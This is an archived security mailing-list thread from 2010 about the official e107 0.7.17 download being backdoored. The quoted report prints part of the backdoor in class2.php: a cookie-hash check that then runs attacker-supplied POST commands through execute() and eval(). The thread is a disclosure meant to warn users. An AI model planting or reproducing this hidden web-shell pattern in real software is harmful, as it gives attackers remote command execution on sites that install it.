lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
Open Source and information security mailing list archives
| ||
|
Date: Mon, 25 Jan 2010 20:07:10 +0200 From: "Valery Marchuk" <vulns@...uritylab.ru> To: "Bogdan Calin" <bogdan@...netix.com>, <full-disclosure@...ts.grok.org.uk> Cc: <bugtraq@...urityfocus.com> Subject: Re: e107 latest download link is backdoored I`ve just checked the archive. The latest version of the file class2.php was changed on 2010/01/21 03:57:43 and it does not contain the malicious code. It has been probably replaced already, or we are using different mirrors. Valery Marchuk www.SecurityLab.ru ----- Original Message ----- From: "Bogdan Calin" <bogdan@...netix.com> To: <full-disclosure@...ts.grok.org.uk> Cc: <bugtraq@...urityfocus.com> Sent: Monday, January 25, 2010 12:58 PM Subject: e107 latest download link is backdoored > Hi guys, > > The latest version of e107, version 0.7.17 contains a PHP backdoor. > http://e107.org/e107_files/downloads/e107_v0.7.17_full.zip > > I've just downloaded this file and while looking through the code, I've > found the following piece of code: > > file: class2.php, line: 1876 > > if(md5($_COOKIE['access-admin']) == "cf1afec15669cb96f09befb7d70f8bcb") { > > ... > > if(!empty($_POST['cmd'])){ > $out = execute($_POST['cmd']); > } > > elseif(!empty($_POST['php'])){ > ob_start(); > eval($_POST['php']); > $out = ob_get_contents(); > ob_end_clean(); > } > > ... > > and so on. > > I've informed the e107 guys about this situation. > For now, that link is not safe. > > Look at the file date, class2.php has been modified on 2010-01-23, > 21:52:26 > > -- > Bogdan Calin - bogdan@...netix.com > CTO > Acunetix Ltd. - http://www.acunetix.com > Acunetix Web Security Blog - http://www.acunetix.com/blog
Powered by blists - more mailing lists